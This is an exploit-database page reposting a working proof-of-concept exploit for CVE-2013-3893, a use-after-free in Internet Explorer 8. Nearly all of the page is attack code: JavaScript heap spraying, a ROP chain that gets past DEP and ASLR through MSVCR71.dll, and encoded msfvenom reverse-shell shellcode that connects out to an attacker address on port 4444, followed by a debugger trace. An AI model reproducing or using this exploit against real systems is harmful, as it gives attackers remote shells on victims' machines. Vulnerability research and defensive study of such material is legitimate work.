Microsoft Internet Explorer 8 SetMouseCapture Use-After-Free
CVE
Category
Price
Severity
CVE-2013-3893
CWE-416
$5,000
High
Author
Risk
Exploitation Type
Date
Unknown
High
Local
2021-05-20
CPE
cpe:cpe:/a:microsoft:internet_explorer:8.0.6001
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021050119 Below is a copy:
Microsoft Internet Explorer 8 SetMouseCapture Use-After-Free # Exploit Title: Microsoft Internet Explorer 8 - 'SetMouseCapture ' Use After Free
# Date: 15/05/2021
# CVE : CVE-2013-3893
# PoC: https://github.com/travelworld/cve_2013_3893_trigger.html/blob/gh-pages/params.json
# Exploit Author: SlidingWindow
# Vendor Advisory: https://docs.microsoft.com/en-us/security-updates/SecurityAdvisories/2013/2887505?redirectedfrom=MSDN
# Tested on: Microsoft Internet Explorer 8 (version: 8.0.7601.17514) on Windows 7 SP1 (Version 6.1 Build 7601 SP1)
# Bypasses: DEP, ASLR using MSVCR71.DLL
# Thanks to @corelanc0d3r for awesome Heap Exploitation Training and @offsectraining for OSCP training
<html>
<script>
var spraychunks = new Array();
// Use BSTR spray since DEPS spray didn't work here
function heapspray()
{
var ropchain = unescape("%u122c%u0c0c"); //EAX now points here. EDX = [EAX+0x70]. So call EDX will take a forward jump to stack-heap flip: 0x7c348b05 : # XCHG EAX,ESP # RETN
//ESP points here after stack-heap flip. jump over padding+stack-heap flip into ROP chain.
ropchain += unescape("%u6bd5%u7c36"); //0x7c366bd5 : # ADD ESP,100 # RETN ** [MSVCR71.dll] ** | {PAGE_EXECUTE_READ}
//Some padding
ropchain += unescape("%u6363%u6363%u6464%u6464%u6565%u6565%u6262%u6262%u6363%u6363%u6464%u6464%u6565%u6565%u6262%u6262%u6363%u6363%u6464%u6464%u6565%u6565%u6262%u6262%u6363%u6363%u6464%u6464%u6565%u6565%u6262%u6262%u6363%u6363%u6464%u6464%u6565%u6565%u6262%u6262%u6363%u6363%u6464%u6464%u6565%u6565%u6262%u6262%u6363%u6363%u6464%u6464%u6565%u6565");
//ESP will point to 0x0c0c122c after stack-heap flip.
ropchain += unescape("%u8b05%u7c34"); //0x7c348b05 : # XCHG EAX,ESP # RETN ** [MSVCR71.dll] ** | {PAGE_EXECUTE_READ}
//More padding for ADD ESP, 100
ropchain += unescape("%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565");
//rop chain generated with mona.py - www.corelan.be
//ropchain needed a little fix
ropchain += unescape(
"" + // #[---INFO:gadgets_to_set_ebp:---] :
"%u1cab%u7c35" + // 0x7c351cab : ,# POP EBP # RETN [MSVCR71.dll]
"%u1cab%u7c35" + // 0x7c351cab : ,# skip 4 bytes [MSVCR71.dll]
"" + // #[---INFO:gadgets_to_set_ebx:---] :
"%u728e%u7c34" + // 0x7c34728e : ,# POP EAX # RETN [MSVCR71.dll]
"%ufdff%uffff" + // 0xfffffdff : ,# Value to negate, will become 0x00000201
"%u684b%u7c36" + // 0x7c36684b : ,# NEG EAX # RETN [MSVCR71.dll]
"%u1695%u7c37" + // 0x7c371695 : ,# POP EBX # RETN [MSVCR71.dll]
"%uffff%uffff" + // 0xffffffff : ,#
"%u5255%u7c34" + // 0x7c345255 : ,# INC EBX # FPATAN # RETN [MSVCR71.dll]
"%u2174%u7c35" + // 0x7c352174 : ,# ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [MSVCR71.dll]
"" + // #[---INFO:gadgets_to_set_edx:---] :
"%u5937%u7c34" + // 0x7c345937 : ,# POP EDX # RETN [MSVCR71.dll]
"%uffc0%uffff" + // 0xffffffc0 : ,# Value to negate, will become 0x00000040
"%u1eb1%u7c35" + // 0x7c351eb1 : ,# NEG EDX # RETN [MSVCR71.dll]
"" + // #[---INFO:gadgets_to_set_ecx:---] :
"%u0c81%u7c36" + // 0x7c360c81 : ,# POP ECX # RETN [MSVCR71.dll]
"%ucd8c%u7c38" + // 0x7c38cd8c : ,# &Writable location [MSVCR71.dll]
"" + // #[---INFO:gadgets_to_set_edi:---] :
"%u4648%u7c35" + // 0x7c354648 : ,# POP EDI # RETN [MSVCR71.dll]
"%ud202%u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]
"" + // #[---INFO:gadgets_to_set_esi:---] :
"%u50dd%u7c36" + // 0x7c3650dd : ,# POP ESI # RETN [MSVCR71.dll]
"%u15a2%u7c34" + // 0x7c3415a2 : ,# JMP [EAX] [MSVCR71.dll]
"%u5194%u7c34" + // 0x7c345194 : ,# POP EAX # RETN [MSVCR71.dll]
// "%ua140%u7c37" + // 0x7c37a140 : ,# ptr to &VirtualProtect() [IAT MSVCR71.dll]
// "%ua051%u7c37" + // 7c37a051 + 0xEF should become 0x7c37a140, which is a pointer to &VirtualProtect()
// Because next instruction adds 0xEF into AL.
"%ua151%u7c37" + // 7c37a151 + + 0xEF should become 0x7c37a140, which is a pointer to &VirtualProtect()
// Because next instruction adds 0xEF into AL.
"" + // #[---INFO:pushad:---] :
"%u8c81%u7c37" + // 0x7c378c81 : ,# PUSHAD # ADD AL,0EF # RETN [MSVCR71.dll]
"" + // #[---INFO:extras:---] :
"%u5c30%u7c34" + // 0x7c345c30 : ,# ptr to 'push esp # ret ' [MSVCR71.dll]
""); // :
// msfvenom -p windows/shell_reverse_tcp -a x86 lhost=192.168.154.130 lport=4444 -b '\x00' -f js_le
// First few bytes, %uc481%ufa24%uffff (which is \x81\xc4\x24\xfa\xff\xff # add esp,-1500) move ESP away from EIP to avoid GetPC() routine from corrupting our shellcode
var shellcode = unescape("%uc481%ufa24%uffff%uccd9%u74d9%uf424%ube5d%uba98%ue3da%uc931%u52b1%u7531%u8317%u04c5%ued03%u38a9%uf116%u3e26%u09d9%u5fb7%uec53%u5f86%u6507%u6fb8%u2b43%u1b35%udf01%u69ce%ud08e%uc767%udfe8%u7478%u7ec8%u87fb%ua01d%u47c2%ua150%ub503%uf399%ub1dc%ue30c%u8f69%u888c%u0122%u6d95%u20f2%u20b4%u7a88%uc316%uf75d%udb1f%u3282%u50e9%uc870%ub0e8%u3148%ufd46%uc064%u3a96%u3b42%u32ed%uc6b0%u81f6%u1cca%u1172%ud66c%ufd24%u3b8c%u76b2%uf082%ud0b0%u0787%u6b14%u8cb3%ubb9b%ud635%u1fbf%u8c1d%u06de%u63fb%u58de%udca4%u137a%u0849%u7ef7%ufd06%u803a%u69d6%uf34c%u36e4%u9be6%ube44%u5c20%u95aa%uf295%u1655%udbe6%u4291%u73b6%ueb33%u835d%u3ebc%ud3f1%u9112%u83b2%u41d2%uc95b%ubedc%uf27b%ud736%u0916%u18d1%u8b4e%uf1a3%uab8d%u5db2%u4d1b%u4dde%uc64d%uf777%u9cd4%uf8e6%ud9c2%u7229%u1ee1%u73e7%u0c8c%u7390%u6edb%u8b37%u06f1%u1edb%ud69e%u0292%u8109%uf5f3%u4740%uacee%u75fa%u29f3%u3dc4%u8a28%ubccb%ub6bd%uaeef%u367b%u9ab4%u61d3%u7462%udb92%u2ec4%ub74c%ua68e%ufb09%ub010%ud615%u5ce6%u8fa7%u63be%u5808%u1c37%uf874%uf7b8%u083c%u55f3%u8114%u0c5a%ucc24%ufb5c%ue96b%u09de%u0e14%u78fe%u4a11%u91b8%uc36b%u952d%ue4d8%u4167");
var junk = unescape("%u2020%u2020");
while (junk.length < 0x4000) junk += junk;
offset = 0x204/2 ; //0c0c1228
var junk_front = junk.substring(0,offset);
var junk_end = junk.substring(0,0x800 - junk_front.length - ropchain.length - shellcode.length)
var smallblock = junk_front + ropchain + shellcode + junk_end;
var largeblock = "";
while (largeblock.length < 0x80000) { largeblock = largeblock + smallblock; }
// make allocations
for (i = 0; i < 0x450; i++) { spraychunks[i] = largeblock.substring(0, (0x7fb00-6)/2); }
}
function alloc(nr_alloc){
for (var i=0; i < nr_alloc; i++){
divobj = document.createElement('div');
// Allocate 0x25 (37 decimal) bytes. Vulnerable object size = 0x4c bytes
divobj.className = "\u1228\u0c0c\u4141\u4141\u4242\u4242\u4343\u4343\u4444\u4444\u4545\u4545\u4646\u4646" +
"\u4747\u4747\u4848\u4949\u4949\u5050\u5050\u5151\u5151\u5252\u5252\u5353\u5353\u5454" +
"\u5454\u5555\u5555\u5656\u5656\u5757\u5757\u5858\u5858";
}
}
heapspray();
function trigger()
{
var id_0 = document.createElement("sup");
var id_1 = document.createElement("audio");
heapspray();
document.body.appendChild(id_0);
document.body.appendChild(id_1);
id_1.applyElement(id_0);
id_0.onlosecapture=function(e) {
//Vulnerable Object is freed here
document.write("");
//Replace/Reclaim the freed object here.
//Object size is 0x4c
alloc(0x20);
}
id_0['outerText']="";
id_0.setCapture();
id_1.setCapture();
}
window.onload = function() {
trigger();
}
</script>
</html>
<!-- Debug: Taking a different code path for this exploit
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000003 ebx=00000100 ecx=40404040 edx=00000001 esi=0089c098 edi=00000000
eip=7467b68d esp=0301c34c ebp=0301c360 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
mshtml!CElement::Doc:
7467b68d 8b01 mov eax,dword ptr [ecx] ds:002b:40404040=????????
0:005> u eip
mshtml!CElement::Doc:
7467b68d 8b01 mov eax,dword ptr [ecx]
7467b68f 8b5070 mov edx,dword ptr [eax+70h]
7467b692 ffd2 call edx
7467b694 8b400c mov eax,dword ptr [eax+0Ch]
7467b697 c3 ret
7467b698 90 nop
7467b699 90 nop
7467b69a 90 nop
0:005> ub eip
mshtml!CElement::SecurityContext+0x22:
7467b681 8b01 mov eax,dword ptr [ecx]
7467b683 8b5070 mov edx,dword ptr [eax+70h]
7467b686 ffe2 jmp edx
7467b688 90 nop
7467b689 90 nop
7467b68a 90 nop
7467b68b 90 nop
7467b68c 90 nop
Copyright ©2024 Exploitalert.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use .